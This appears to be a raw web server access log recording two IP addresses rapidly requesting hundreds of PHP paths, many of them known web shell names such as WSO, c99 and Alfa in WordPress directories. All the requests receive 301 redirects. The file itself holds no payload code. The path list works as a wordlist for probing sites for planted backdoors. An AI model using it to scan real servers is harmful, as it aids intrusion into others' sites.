[29/Apr/2025:10:36:47 -0400] "GET /wp-includes/customize/upfile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:48 -0400] "GET /aged.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:48 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:49 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:49 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:50 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:50 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:51 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:51 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:52 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:53 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:53 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:54 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:54 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:55 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:55 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:56 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:57 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:57 -0400] "GET /wp-content/themes/ccx/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:58 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:58 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:59 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:59 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:00 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:00 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:01 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:01 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:02 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:48 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:49 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:49 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:50 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:51 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:51 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:52 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:52 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:53 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:53 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:54 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:55 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:55 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:56 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:56 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:57 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:57 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:58 -0400] "GET /wp-content/uploads/2018/03/equipe-background-570x536.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:58 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:59 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:00 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:00 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:01 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:01 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:02 -0400] "GET /wp-includes/ID3/cache.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:02 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:03 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:04 -0400] "GET /wp-admin/images/wp-signup.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:04 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:05 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:03 -0400] "GET /wp-content/uploads/9_abc.phtml.jpg HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:04 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:04 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:05 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:06 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:06 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:07 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:07 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:08 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:09 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:09 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:10 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:10 -0400] "GET /wp/wp-includes/menu.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:11 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:11 -0400] "GET /wp-admin/network/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:12 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:12 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:13 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:14 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:37:14 -0400] "GET /wp-admin/maint/edit.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:04 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:06 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:06 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:07 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:08 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:08 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:09 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:09 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:10 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:11 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:11 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:12 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:12 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:13 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:14 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:14 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:15 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:16 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:16 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:17 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:17 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:18 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:19 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:19 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:20 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:20 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:21 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:22 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:22 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:23 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:24 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:24 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:25 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:25 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:26 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:26 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:27 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:28 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:28 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:29 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:30 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:30 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:31 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:31 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:32 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:33 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:33 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:34 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:34 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:35 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:36 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:36 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:37 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:37 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:38 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:39 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:39 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:10:51:39 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 13.74.143.99 - - [29/Apr/2025:10:51:40 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:40 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:41 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:42 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:42 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:43 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:44 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:44 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:45 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:46 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:46 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:47 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:48 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:48 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:49 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:49 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:50 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:51 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:51 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:52 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:53 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:10:51:53 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 13.74.143.99 - - [29/Apr/2025:10:51:54 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:54 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:55 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:56 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:56 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:57 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:57 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:58 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:59 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:51:59 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:00 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:01 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:01 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:02 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:10:52:02 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:10:52:02 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 13.74.143.99 - - [29/Apr/2025:10:52:02 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:03 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:04 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:04 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:05 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:06 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:06 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:07 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:08 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:08 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:09 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:10 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:10 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:11 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:12 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:12 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:13 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:14 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:14 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:15 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:15 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:16 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:17 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:18 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:18 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:19 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:20 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:20 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:21 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:21 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:22 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:23 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:23 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:24 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:24 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:25 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:25 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:26 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:27 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:27 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:28 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:31 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:31 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:32 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:33 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:33 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:34 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:35 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:35 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:36 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:36 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:37 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:37 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:38 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:39 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:39 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:40 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:40 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:41 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:41 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:42 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:43 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:43 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:44 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - 